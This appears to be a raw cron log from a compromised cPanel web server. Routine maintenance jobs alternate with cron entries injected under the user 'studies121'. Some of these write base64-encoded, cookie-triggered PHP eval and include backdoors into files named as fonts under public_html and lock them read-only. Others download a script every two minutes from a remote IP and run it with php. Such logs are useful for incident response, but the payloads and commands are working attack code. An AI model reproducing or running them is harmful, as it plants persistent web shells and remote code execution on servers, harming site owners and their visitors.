Sep 21 04:51:01 ip-184-168-122-23 CROND[9744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:51:01 ip-184-168-122-23 CROND[9746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:52:01 ip-184-168-122-23 CROND[10016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:52:01 ip-184-168-122-23 CROND[10018]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:52:01 ip-184-168-122-23 CROND[10020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:52:01 ip-184-168-122-23 CROND[10022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:52:01 ip-184-168-122-23 CROND[10019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:53:01 ip-184-168-122-23 CROND[10285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:53:01 ip-184-168-122-23 CROND[10286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:53:01 ip-184-168-122-23 CROND[10287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:53:01 ip-184-168-122-23 CROND[10288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:54:01 ip-184-168-122-23 CROND[10585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:54:01 ip-184-168-122-23 CROND[10589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:54:01 ip-184-168-122-23 CROND[10590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:54:01 ip-184-168-122-23 CROND[10587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:54:01 ip-184-168-122-23 CROND[10588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:55:01 ip-184-168-122-23 CROND[10946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 04:55:01 ip-184-168-122-23 CROND[10947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:55:01 ip-184-168-122-23 CROND[10948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:55:01 ip-184-168-122-23 CROND[10949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:55:01 ip-184-168-122-23 CROND[10951]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 04:55:01 ip-184-168-122-23 CROND[10950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:56:01 ip-184-168-122-23 CROND[11252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:56:01 ip-184-168-122-23 CROND[11254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:56:01 ip-184-168-122-23 CROND[11257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:56:01 ip-184-168-122-23 CROND[11259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:56:01 ip-184-168-122-23 CROND[11260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:57:01 ip-184-168-122-23 CROND[11533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:57:01 ip-184-168-122-23 CROND[11535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:57:01 ip-184-168-122-23 CROND[11536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:57:01 ip-184-168-122-23 CROND[11537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:57:01 ip-184-168-122-23 CROND[11538]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep 21 04:57:26 ip-184-168-122-23 crontab[11795]: (root) LIST (root)
Sep 21 04:57:26 ip-184-168-122-23 crontab[11797]: (root) LIST (root)
Sep 21 04:57:34 ip-184-168-122-23 crontab[11922]: (root) LIST (root)
Sep 21 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep 21 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 21 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 21 04:58:01 ip-184-168-122-23 CROND[12181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:58:01 ip-184-168-122-23 CROND[12185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:58:01 ip-184-168-122-23 CROND[12182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:58:01 ip-184-168-122-23 CROND[12183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:58:01 ip-184-168-122-23 CROND[12184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:59:01 ip-184-168-122-23 CROND[12853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:59:01 ip-184-168-122-23 CROND[12854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:59:01 ip-184-168-122-23 CROND[12856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:59:01 ip-184-168-122-23 CROND[12857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:00:01 ip-184-168-122-23 CROND[13278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:00:01 ip-184-168-122-23 CROND[13280]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 05:00:01 ip-184-168-122-23 CROND[13279]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:00:01 ip-184-168-122-23 CROND[13284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:00:01 ip-184-168-122-23 CROND[13283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:00:01 ip-184-168-122-23 CROND[13285]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 05:00:01 ip-184-168-122-23 CROND[13286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 05:00:01 ip-184-168-122-23 CROND[13287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:01:01 ip-184-168-122-23 CROND[13771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:01:01 ip-184-168-122-23 CROND[13772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:01:01 ip-184-168-122-23 CROND[13773]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 05:01:01 ip-184-168-122-23 CROND[13774]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 05:01:01 ip-184-168-122-23 CROND[13776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:01:01 ip-184-168-122-23 CROND[13775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13773]: starting 0anacron
Sep 21 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13792]: finished 0anacron
Sep 21 05:02:01 ip-184-168-122-23 CROND[14087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:02:01 ip-184-168-122-23 CROND[14089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:02:01 ip-184-168-122-23 CROND[14091]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:02:01 ip-184-168-122-23 CROND[14090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:02:01 ip-184-168-122-23 CROND[14092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:03:01 ip-184-168-122-23 CROND[14406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:03:01 ip-184-168-122-23 CROND[14408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
